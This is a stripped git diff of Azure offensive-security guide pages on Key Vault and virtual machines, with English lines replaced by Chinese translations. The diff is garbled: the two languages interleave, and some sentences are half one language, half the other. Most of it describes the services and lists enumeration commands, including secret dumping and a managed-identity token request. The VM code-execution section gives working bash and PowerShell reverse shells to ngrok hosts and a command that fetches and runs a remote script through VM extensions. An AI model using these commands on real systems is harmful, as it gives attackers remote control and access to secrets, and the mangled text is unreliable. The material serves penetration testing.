- `vault-name` is the globally **unique** name of the key vault
|
||||
- `object-type` can be "keys", "secrets" or "certificates"
|
||||
- `object-name` is **unique** name of the object within the key vault
|
||||
- `object-version` is system generated and optionally used to address a **unique version of an object**.
|
||||
- `vault-name` 是密钥保管库的全球**唯一**名称
|
||||
- `object-type` 可以是 "keys"、"secrets" 或 "certificates"
|
||||
- `object-name` 是密钥保管库内对象的**唯一**名称
|
||||
- `object-version` 是系统生成的,可选用于指向**对象的唯一版本**。
|
||||
|
||||
In order to access to the secrets stored in the vault it's possible to select between 2 permissions models when creating the vault:
|
||||
为了访问存储在保管库中的机密,在创建保管库时可以选择两种权限模型:
|
||||
|
||||
- **Vault access policy**
|
||||
- **Azure RBAC** (most common and recommended)
|
||||
- You can find all the granular permissions supported in [https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/security#microsoftkeyvault](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/security#microsoftkeyvault)
|
||||
- **保管库访问策略**
|
||||
- **Azure RBAC**(最常见和推荐)
|
||||
- 您可以在 [https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/security#microsoftkeyvault](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/security#microsoftkeyvault) 找到所有支持的细粒度权限。
|
||||
|
||||
### Access Control <a href="#access-control" id="access-control"></a>
|
||||
### 访问控制 <a href="#access-control" id="access-control"></a>
|
||||
|
||||
Access to a Key Vault resource is controlled by two planes:
|
||||
对Key Vault资源的访问由两个平面控制:
|
||||
|
||||
- The **management plane**, whose target is [management.azure.com](http://management.azure.com/).
|
||||
- It's used to manage the key vault and **access policies**. Only Azure role based access control (**RBAC**) is supported.
|
||||
- The **data plane**, whose target is **`<vault-name>.vault.azure.com`**.
|
||||
- It's used to manage and access the **data** (keys, secrets and certificates) **in the key vault**. This supports **key vault access policies** or Azure **RBAC**.
|
||||
- **管理平面**,其目标是 [management.azure.com](http://management.azure.com/)。
|
||||
- 用于管理密钥保管库和**访问策略**。仅支持Azure基于角色的访问控制(**RBAC**)。
|
||||
- **数据平面**,其目标是 **`<vault-name>.vault.azure.com`**。
|
||||
- 用于管理和访问**密钥保管库中的数据**(密钥、机密和证书)。这支持**密钥保管库访问策略**或Azure **RBAC**。
|
||||
|
||||
A role like **Contributor** that has permissions in the management place to manage access policies can get access to the secrets by modifying the access policies.
|
||||
像**Contributor**这样的角色在管理平面中具有管理访问策略的权限,可以通过修改访问策略来访问机密。
|
||||
|
||||
### Key Vault RBAC Built-In Roles <a href="#rbac-built-in-roles" id="rbac-built-in-roles"></a>
|
||||
### Key Vault RBAC 内置角色 <a href="#rbac-built-in-roles" id="rbac-built-in-roles"></a>
|
||||
|
||||
<figure><img src="../../../images/image (27).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Network Access
|
||||
### 网络访问
|
||||
|
||||
In Azure Key Vault, **firewall** rules can be set up to **allow data plane operations only from specified virtual networks or IPv4 address ranges**. This restriction also affects access through the Azure administration portal; users will not be able to list keys, secrets, or certificates in a key vault if their login IP address is not within the authorized range.
|
||||
|
||||
For analyzing and managing these settings, you can use the **Azure CLI**:
|
||||
在Azure Key Vault中,可以设置**防火墙**规则,以**仅允许来自指定虚拟网络或IPv4地址范围的数据平面操作**。此限制也会影响通过Azure管理门户的访问;如果用户的登录IP地址不在授权范围内,则无法列出密钥、机密或证书。
|
||||
|
||||
要分析和管理这些设置,您可以使用**Azure CLI**:
|
||||
```bash
|
||||
az keyvault show --name name-vault --query networkAcls
|
||||
```
|
||||
The previous command will display the **`name-vault` 的防火墙设置**,包括启用的 IP 范围和拒绝流量的策略。
|
||||
|
||||
The previous command will display the f**irewall settings of `name-vault`**, including enabled IP ranges and policies for denied traffic.
|
||||
Moreover, it's possible to create a **私有端点**以允许与保管库的私有连接。
|
||||
|
||||
Moreover, it's possible to create a **private endpoint** to allow a private connection to a vault.
|
||||
### 删除保护
|
||||
|
||||
### Deletion Protection
|
||||
当创建一个密钥保管库时,允许删除的最小天数为 7。这意味着每当您尝试删除该密钥保管库时,它需要**至少 7 天才能被删除**。
|
||||
|
||||
When a key vault is created the minimum number of days to allow for deletion is 7. Which means that whenever you try to delete that key vault it'll need **at least 7 days to be deleted**.
|
||||
However, it's possible to create a vault with **禁用清除保护**,这允许在保留期内清除密钥保管库和对象。虽然,一旦为保管库启用此保护,就无法禁用。
|
||||
|
||||
However, it's possible to create a vault with **purge protection disabled** which allow key vault and objects to be purged during retention period. Although, once this protection is enabled for a vault it cannot be disabled.
|
||||
|
||||
## Enumeration
|
||||
## 枚举
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az" }}
|
||||
|
||||
```bash
|
||||
# List all Key Vaults in the subscription
|
||||
az keyvault list
|
||||
@@ -92,11 +89,9 @@ az keyvault secret show --vault-name <KeyVaultName> --name <SecretName>
|
||||
# Get old versions secret value
|
||||
az keyvault secret show --id https://<KeyVaultName>.vault.azure.net/secrets/<KeyVaultName>/<idOldVersion>
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az Powershell" }}
|
||||
|
||||
```powershell
|
||||
# Get keyvault token
|
||||
curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
|
||||
@@ -120,11 +115,9 @@ Get-AzKeyVault -VaultName <KeyVaultName> -InRemovedState
|
||||
# Get secret values
|
||||
Get-AzKeyVaultSecret -VaultName <vault_name> -Name <secret_name> -AsPlainText
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="az script" }}
|
||||
|
||||
```bash
|
||||
#!/bin/bash
|
||||
|
||||
@@ -151,38 +144,33 @@ echo "Vault Name,Associated Resource Group" > $CSV_OUTPUT
|
||||
# Iterate over each resource group
|
||||
for GROUP in $AZ_RESOURCE_GROUPS
|
||||
do
|
||||
# Fetch key vaults within the current resource group
|
||||
VAULT_LIST=$(az keyvault list --resource-group $GROUP --query "[].name" -o tsv)
|
||||
# Fetch key vaults within the current resource group
|
||||
VAULT_LIST=$(az keyvault list --resource-group $GROUP --query "[].name" -o tsv)
|
||||
|
||||
# Process each key vault
|
||||
for VAULT in $VAULT_LIST
|
||||
do
|
||||
# Extract the key vault's name
|
||||
VAULT_NAME=$(az keyvault show --name $VAULT --resource-group $GROUP --query "name" -o tsv)
|
||||
# Process each key vault
|
||||
for VAULT in $VAULT_LIST
|
||||
do
|
||||
# Extract the key vault's name
|
||||
VAULT_NAME=$(az keyvault show --name $VAULT --resource-group $GROUP --query "name" -o tsv)
|
||||
|
||||
# Append the key vault name and its resource group to the file
|
||||
echo "$VAULT_NAME,$GROUP" >> $CSV_OUTPUT
|
||||
done
|
||||
# Append the key vault name and its resource group to the file
|
||||
echo "$VAULT_NAME,$GROUP" >> $CSV_OUTPUT
|
||||
done
|
||||
done
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
## Privilege Escalation
|
||||
## 权限提升
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-key-vault-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Post Exploitation
|
||||
## 后期利用
|
||||
|
||||
{{#ref}}
|
||||
../az-post-exploitation/az-key-vault-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,61 +1,60 @@
|
||||
# Az - Virtual Machines & Network
|
||||
# Az - 虚拟机与网络
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Azure Networking Basic Info
|
||||
## Azure 网络基本信息
|
||||
|
||||
Azure networks contains **different entities and ways to configure it.** You can find a brief **descriptions,** **examples** and **enumeration** commands of the different Azure network entities in:
|
||||
Azure 网络包含 **不同的实体和配置方式。** 您可以在以下内容中找到不同 Azure 网络实体的简要 **描述、** **示例** 和 **枚举** 命令:
|
||||
|
||||
{{#ref}}
|
||||
az-azure-network.md
|
||||
{{#endref}}
|
||||
|
||||
## VMs Basic information
|
||||
## 虚拟机基本信息
|
||||
|
||||
Azure Virtual Machines (VMs) are flexible, on-demand **cloud-based servers that let you run Windows or Linux operating systems**. They allow you to deploy applications and workloads without managing physical hardware. Azure VMs can be configured with various CPU, memory, and storage options to meet specific needs and integrate with Azure services like virtual networks, storage, and security tools.
|
||||
Azure 虚拟机 (VMs) 是灵活的、按需的 **基于云的服务器,允许您运行 Windows 或 Linux 操作系统**。它们允许您部署应用程序和工作负载,而无需管理物理硬件。Azure VMs 可以配置各种 CPU、内存和存储选项,以满足特定需求,并与 Azure 服务(如虚拟网络、存储和安全工具)集成。
|
||||
|
||||
### Security Configurations
|
||||
### 安全配置
|
||||
|
||||
- **Availability Zones**: Availability zones are distinct groups of datacenters within a specific Azure region which are physically separated to minimize the risk of multiple zones being affected by local outages or disasters.
|
||||
- **Security Type**:
|
||||
- **Standard Security**: This is the default security type that does not require any specific configuration.
|
||||
- **Trusted Launch**: This security type enhances protection against boot kits and kernel-level malware by using Secure Boot and Virtual Trusted Platform Module (vTPM).
|
||||
- **Confidential VMs**: On top of a trusted launch, it offers hardware-based isolation between the VM, hypervisor and host management, improves the disk encryption and [**more**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**.**
|
||||
- **Authentication**: By default a new **SSH key is generated**, although it's possible to use a public key or use a previous key and the username by default is **azureuser**. It's also possible to configure to use a **password.**
|
||||
- **VM disk encryption:** The disk is encrypted at rest by default using a platform managed key.
|
||||
- It's also possible to enable **Encryption at host**, where the data will be encrypted in the host before sending it to the storage service, ensuring an end-to-end encryption between the host and the storage service ([**docs**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data)).
|
||||
- **NIC network security group**:
|
||||
- **None**: Basically opens every port
|
||||
- **Basic**: Allows to easily open the inbound ports HTTP (80), HTTPS (443), SSH (22), RDP (3389)
|
||||
- **Advanced**: Select a security group
|
||||
- **Backup**: It's possible to enable **Standard** backup (one a day) and **Enhanced** (multiple per day)
|
||||
- **Patch orchestration options**: This enable to automatically apply patches in the VMs according to the selected policy as described in the [**docs**](https://learn.microsoft.com/en-us/azure/virtual-machines/automatic-vm-guest-patching).
|
||||
- **Alerts**: It's possible to automatically get alerts by email or mobile app when something happen in the VM. Default rules:
|
||||
- Percentage CPU is greater than 80%
|
||||
- Available Memory Bytes is less than 1GB
|
||||
- Data Disks IOPS Consumed Percentage is greater than 95%
|
||||
- OS IOPS Consumed Percentage is greater than 95%
|
||||
- Network in Total is greater than 500GB
|
||||
- Network Out Total is greater than 200GB
|
||||
- VmAvailabilityMetric is less than 1
|
||||
- **Heath monitor**: By default check protocol HTTP in port 80
|
||||
- **Locks**: It allows to lock a VM so it can only be read (**ReadOnly** lock) or it can be read and updated but not deleted (**CanNotDelete** lock).
|
||||
- Most VM related resources **also support locks** like disks, snapshots...
|
||||
- Locks can also be applied at **resource group and subscription levels**
|
||||
- **可用性区域**:可用性区域是特定 Azure 区域内的不同数据中心组,物理上分开,以最小化多个区域受到本地故障或灾难影响的风险。
|
||||
- **安全类型**:
|
||||
- **标准安全**:这是默认的安全类型,不需要任何特定配置。
|
||||
- **受信任启动**:此安全类型通过使用安全启动和虚拟受信任平台模块 (vTPM) 增强对启动工具和内核级恶意软件的保护。
|
||||
- **机密虚拟机**:在受信任启动的基础上,提供 VM、虚拟机监控程序和主机管理之间的基于硬件的隔离,改善磁盘加密和 [**更多**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**。**
|
||||
- **身份验证**:默认情况下会生成一个新的 **SSH 密钥**,虽然可以使用公钥或使用以前的密钥,默认用户名为 **azureuser**。也可以配置为使用 **密码。**
|
||||
- **VM 磁盘加密:** 磁盘默认情况下使用平台管理密钥进行静态加密。
|
||||
- 还可以启用 **主机加密**,数据将在发送到存储服务之前在主机中加密,确保主机与存储服务之间的端到端加密 ([**文档**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data))。
|
||||
- **NIC 网络安全组**:
|
||||
- **无**:基本上打开所有端口
|
||||
- **基本**:允许轻松打开入站端口 HTTP (80)、HTTPS (443)、SSH (22)、RDP (3389)
|
||||
- **高级**:选择一个安全组
|
||||
- **备份**:可以启用 **标准** 备份(每天一次)和 **增强**(每天多次)
|
||||
- **补丁编排选项**:这使得可以根据所选策略自动在 VMs 中应用补丁,如 [**文档**](https://learn.microsoft.com/en-us/azure/virtual-machines/automatic-vm-guest-patching) 中所述。
|
||||
- **警报**:可以在 VM 中发生某些事件时自动通过电子邮件或移动应用程序获取警报。默认规则:
|
||||
- CPU 百分比大于 80%
|
||||
- 可用内存字节少于 1GB
|
||||
- 数据磁盘 IOPS 消耗百分比大于 95%
|
||||
- 操作系统 IOPS 消耗百分比大于 95%
|
||||
- 网络总流入大于 500GB
|
||||
- 网络总流出大于 200GB
|
||||
- VmAvailabilityMetric 小于 1
|
||||
- **健康监控**:默认检查协议 HTTP 在 80 端口
|
||||
- **锁定**:允许锁定 VM,使其只能被读取(**只读**锁定)或可以被读取和更新但不能被删除(**不能删除**锁定)。
|
||||
- 大多数与 VM 相关的资源 **也支持锁定**,如磁盘、快照...
|
||||
- 锁定也可以应用于 **资源组和订阅级别**
|
||||
|
||||
## Disks & snapshots
|
||||
## 磁盘与快照
|
||||
|
||||
- It's possible to **enable to attach a disk to 2 or more VMs**
|
||||
- By default every disk is **encrypted** with a platform key.
|
||||
- Same in snapshots
|
||||
- By default it's possible to **share the disk from all networks**, but it can also be **restricted** to only certain **private acces**s or to **completely disable** public and private access.
|
||||
- Same in snapshots
|
||||
- It's possible to **generate a SAS URI** (of max 60days) to **export the disk**, which can be configured to require authentication or not
|
||||
- Same in snapshots
|
||||
- 可以 **启用将磁盘附加到 2 个或更多 VMs**
|
||||
- 默认情况下,每个磁盘都 **使用平台密钥加密**。
|
||||
- 快照也是如此
|
||||
- 默认情况下,可以 **从所有网络共享磁盘**,但也可以 **限制** 仅对某些 **私有访问** 或 **完全禁用** 公共和私有访问。
|
||||
- 快照也是如此
|
||||
- 可以 **生成一个 SAS URI**(最长 60 天)以 **导出磁盘**,可以配置为需要身份验证或不需要
|
||||
- 快照也是如此
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="az cli"}}
|
||||
|
||||
```bash
|
||||
# List all disks
|
||||
az disk list --output table
|
||||
@@ -63,10 +62,8 @@ az disk list --output table
|
||||
# Get info about a disk
|
||||
az disk show --name <disk-name> --resource-group <rsc-group>
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
{{#tab name="PowerShell"}}
|
||||
|
||||
```powershell
|
||||
# List all disks
|
||||
Get-AzDisk
|
||||
@@ -74,20 +71,18 @@ Get-AzDisk
|
||||
# Get info about a disk
|
||||
Get-AzDisk -Name <DiskName> -ResourceGroupName <ResourceGroupName>
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
## Images, Gallery Images & Restore points
|
||||
## 镜像、图库镜像和还原点
|
||||
|
||||
A **VM image** is a template that contains the operating system, application settings and filesystem needed to **create a new virtual machine (VM)**. The difference between an image and a disk snapshot is that a disk snapshot is a read-only, point-in-time copy of a single managed disk, used primarily for backup or troubleshooting, while an image can contain **multiple disks and is designed to serve as a template for creating new VMs**.\
|
||||
Images can be managed in the **Images section** of Azure or inside **Azure compute galleries** which allows to generate **versions** and **share** the image cross-tenant of even make it public.
|
||||
一个 **VM 镜像** 是一个模板,包含了创建新虚拟机 (VM) 所需的操作系统、应用程序设置和文件系统。镜像和磁盘快照之间的区别在于,磁盘快照是一个只读的、特定时间点的单个托管磁盘的副本,主要用于备份或故障排除,而镜像可以包含 **多个磁盘,并旨在作为创建新 VM 的模板**。\
|
||||
镜像可以在 Azure 的 **镜像部分** 或 **Azure 计算库** 中管理,后者允许生成 **版本** 和 **共享** 镜像,跨租户共享甚至公开。
|
||||
|
||||
A **restore point** stores the VM configuration and **point-in-time** application-consistent **snapshots of all the managed disks** attached to the VM. It's related to the VM and its purpose is to be able to restore that VM to how it was in that specific point in it.
|
||||
一个 **还原点** 存储 VM 配置和 **特定时间点** 应用程序一致的 **所有托管磁盘的快照**。它与 VM 相关,其目的是能够将该 VM 恢复到特定时间点的状态。
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="az cli"}}
|
||||
|
||||
```bash
|
||||
# Shared Image Galleries | Compute Galleries
|
||||
## List all galleries and get info about one
|
||||
@@ -119,10 +114,8 @@ az image list --output table
|
||||
az restore-point collection list-all --output table
|
||||
az restore-point collection show --collection-name <collection-name> --resource-group <rsc-group>
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
{{#tab name="PowerShell"}}
|
||||
|
||||
```powershell
|
||||
## List all galleries and get info about one
|
||||
Get-AzGallery
|
||||
@@ -146,73 +139,67 @@ Get-AzImage -Name <ResourceName> -ResourceGroupName <ResourceGroupName>
|
||||
## List all restore points and get info about 1
|
||||
Get-AzRestorePointCollection -Name <CollectionName> -ResourceGroupName <ResourceGroupName>
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
## Azure Site Recovery
|
||||
|
||||
From the [**docs**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview): Site Recovery helps ensure business continuity by keeping business apps and workloads running during outages. Site Recovery **replicates workloads** running on physical and virtual machines (VMs) from a primary site to a secondary location. When an outage occurs at your primary site, you fail over to a secondary location, and access apps from there. After the primary location is running again, you can fail back to it.
|
||||
来自[**文档**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview):站点恢复通过在停机期间保持业务应用程序和工作负载的运行来确保业务连续性。站点恢复**复制工作负载**从主站点到次要位置。当主站点发生故障时,您可以切换到次要位置,并从那里访问应用程序。在主位置恢复运行后,您可以切换回去。
|
||||
|
||||
## Azure Bastion
|
||||
|
||||
Azure Bastion enables secure and seamless **Remote Desktop Protocol (RDP)** and **Secure Shell (SSH)** access to your virtual machines (VMs) directly through the Azure Portal or via a jump box. By **eliminating the need for public IP addresses** on your VMs.
|
||||
Azure Bastion 通过 Azure 门户或跳转箱直接为您的虚拟机 (VM) 提供安全无缝的**远程桌面协议 (RDP)** 和 **安全外壳 (SSH)** 访问。通过**消除对公共 IP 地址的需求**,使您的 VM 更加安全。
|
||||
|
||||
The Bastion deploys a subnet called **`AzureBastionSubnet`** with a `/26` netmask in the VNet it needs to work on. Then, it allows to **connect to internal VMs through the browser** using `RDP` and `SSH` avoiding exposing ports of the VMs to the Internet. It can also work as a **jump host**.
|
||||
Bastion 在其需要工作的 VNet 中部署一个名为 **`AzureBastionSubnet`** 的子网,子网掩码为 `/26`。然后,它允许通过浏览器**连接到内部 VM**,使用 `RDP` 和 `SSH`,避免将 VM 的端口暴露到互联网。它还可以作为**跳转主机**工作。
|
||||
|
||||
To list all Azure Bastion Hosts in your subscription and connect to VMs through them, you can use the following commands:
|
||||
要列出您订阅中的所有 Azure Bastion 主机并通过它们连接到 VM,您可以使用以下命令:
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="az cli"}}
|
||||
|
||||
```bash
|
||||
# List bastions
|
||||
az network bastion list -o table
|
||||
|
||||
# Connect via SSH through bastion
|
||||
az network bastion ssh \
|
||||
--name MyBastion \
|
||||
--resource-group MyResourceGroup \
|
||||
--target-resource-id /subscriptions/12345678-1234-1234-1234-123456789abc/resourceGroups/MyResourceGroup/providers/Microsoft.Compute/virtualMachines/MyVM \
|
||||
--auth-type ssh-key \
|
||||
--username azureuser \
|
||||
--ssh-key ~/.ssh/id_rsa
|
||||
--name MyBastion \
|
||||
--resource-group MyResourceGroup \
|
||||
--target-resource-id /subscriptions/12345678-1234-1234-1234-123456789abc/resourceGroups/MyResourceGroup/providers/Microsoft.Compute/virtualMachines/MyVM \
|
||||
--auth-type ssh-key \
|
||||
--username azureuser \
|
||||
--ssh-key ~/.ssh/id_rsa
|
||||
|
||||
# Connect via RDP through bastion
|
||||
az network bastion rdp \
|
||||
--name <BASTION_NAME> \
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--target-resource-id /subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/Microsoft.Compute/virtualMachines/<VM_NAME> \
|
||||
--auth-type password \
|
||||
--username <VM_USERNAME> \
|
||||
--password <VM_PASSWORD>
|
||||
--name <BASTION_NAME> \
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--target-resource-id /subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/Microsoft.Compute/virtualMachines/<VM_NAME> \
|
||||
--auth-type password \
|
||||
--username <VM_USERNAME> \
|
||||
--password <VM_PASSWORD>
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
{{#tab name="PowerShell"}}
|
||||
|
||||
```powershell
|
||||
# List bastions
|
||||
Get-AzBastion
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
## Metadata
|
||||
## 元数据
|
||||
|
||||
The Azure Instance Metadata Service (IMDS) **provides information about running virtual machine instances** to assist with their management and configuration. It offers details such as the SKU, storage, network configurations, and information about upcoming maintenance events via **REST API available at the non-routable IP address 169.254.169.254**, which is accessible only from within the VM. Communication between the VM and IMDS stays within the host, ensuring secure access. When querying IMDS, HTTP clients inside the VM should bypass web proxies to ensure proper communication.
|
||||
Azure 实例元数据服务 (IMDS) **提供有关正在运行的虚拟机实例的信息**,以协助其管理和配置。它提供 SKU、存储、网络配置以及即将进行的维护事件的信息,所有这些信息通过 **可在非路由 IP 地址 169.254.169.254 访问的 REST API** 提供,该地址仅可从 VM 内部访问。VM 和 IMDS 之间的通信保持在主机内部,确保安全访问。在查询 IMDS 时,VM 内部的 HTTP 客户端应绕过 Web 代理以确保正确通信。
|
||||
|
||||
Moreover, to contact the metadata endpoint, the HTTP request must have the header **`Metadata: true`** and must not have the header **`X-Forwarded-For`**.
|
||||
此外,要联系元数据端点,HTTP 请求必须具有 **`Metadata: true`** 头,并且不得具有 **`X-Forwarded-For`** 头。
|
||||
|
||||
Check how to enumerate it in:
|
||||
检查如何枚举它:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#azure-vm
|
||||
{{#endref}}
|
||||
|
||||
## VM Enumeration
|
||||
|
||||
## VM 枚举
|
||||
```bash
|
||||
# VMs
|
||||
## List all VMs and get info about one
|
||||
@@ -234,8 +221,8 @@ az vm extension list -g <rsc-group> --vm-name <vm-name>
|
||||
|
||||
## List managed identities in a VM
|
||||
az vm identity show \
|
||||
--resource-group <rsc-group> \
|
||||
--name <vm-name>
|
||||
--resource-group <rsc-group> \
|
||||
--name <vm-name>
|
||||
|
||||
# Disks
|
||||
## List all disks and get info about one
|
||||
@@ -440,22 +427,20 @@ Get-AzStorageAccount
|
||||
Get-AzVMExtension -VMName <VmName> -ResourceGroupName <ResourceGroupName>
|
||||
|
||||
```
|
||||
## 在虚拟机中执行代码
|
||||
|
||||
## Code Execution in VMs
|
||||
### 虚拟机扩展
|
||||
|
||||
### VM Extensions
|
||||
Azure 虚拟机扩展是提供 **部署后配置** 和自动化任务的小应用程序,运行在 Azure 虚拟机 (VMs) 上。
|
||||
|
||||
Azure VM extensions are small applications that provide **post-deployment configuration** and automation tasks on Azure virtual machines (VMs).
|
||||
这将允许 **在虚拟机内部执行任意代码**。
|
||||
|
||||
This would allow to **execute arbitrary code inside VMs**.
|
||||
所需的权限是 **`Microsoft.Compute/virtualMachines/extensions/write`**。
|
||||
|
||||
The required permission is **`Microsoft.Compute/virtualMachines/extensions/write`**.
|
||||
|
||||
It's possible to list all the available extensions with:
|
||||
可以使用以下命令列出所有可用的扩展:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Az Cli" }}
|
||||
|
||||
```bash
|
||||
# It takes some mins to run
|
||||
az vm extension image list --output table
|
||||
@@ -463,25 +448,21 @@ az vm extension image list --output table
|
||||
# Get extensions by publisher
|
||||
az vm extension image list --publisher "Site24x7" --output table
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#tab name="PowerShell" }}
|
||||
|
||||
```powershell
|
||||
# It takes some mins to run
|
||||
Get-AzVMExtensionImage -Location <Location> -PublisherName <PublisherName> -Type <Type>
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
It's possible to **run custom extensions that runs custom code**:
|
||||
可以**运行自定义扩展以运行自定义代码**:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Linux" }}
|
||||
|
||||
- Execute a revers shell
|
||||
|
||||
- 执行反向 shell
|
||||
```bash
|
||||
# Prepare the rev shell
|
||||
echo -n 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64
|
||||
@@ -489,122 +470,110 @@ YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ==
|
||||
|
||||
# Execute rev shell
|
||||
az vm extension set \
|
||||
--resource-group <rsc-group> \
|
||||
--vm-name <vm-name> \
|
||||
--name CustomScript \
|
||||
--publisher Microsoft.Azure.Extensions \
|
||||
--version 2.1 \
|
||||
--settings '{}' \
|
||||
--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'
|
||||
--resource-group <rsc-group> \
|
||||
--vm-name <vm-name> \
|
||||
--name CustomScript \
|
||||
--publisher Microsoft.Azure.Extensions \
|
||||
--version 2.1 \
|
||||
--settings '{}' \
|
||||
--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'
|
||||
```
|
||||
|
||||
- Execute a script located on the internet
|
||||
|
||||
- 执行位于互联网上的脚本
|
||||
```bash
|
||||
az vm extension set \
|
||||
--resource-group rsc-group> \
|
||||
--vm-name <vm-name> \
|
||||
--name CustomScript \
|
||||
--publisher Microsoft.Azure.Extensions \
|
||||
--version 2.1 \
|
||||
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \
|
||||
--protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}'
|
||||
--resource-group rsc-group> \
|
||||
--vm-name <vm-name> \
|
||||
--name CustomScript \
|
||||
--publisher Microsoft.Azure.Extensions \
|
||||
--version 2.1 \
|
||||
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \
|
||||
--protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}'
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Windows" }}
|
||||
|
||||
- Execute a reverse shell
|
||||
|
||||
- 执行反向 shell
|
||||
```bash
|
||||
# Get encoded reverse shell
|
||||
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
|
||||
|
||||
# Execute it
|
||||
az vm extension set \
|
||||
--resource-group <rsc-group> \
|
||||
--vm-name <vm-name> \
|
||||
--name CustomScriptExtension \
|
||||
--publisher Microsoft.Compute \
|
||||
--version 1.10 \
|
||||
--settings '{}' \
|
||||
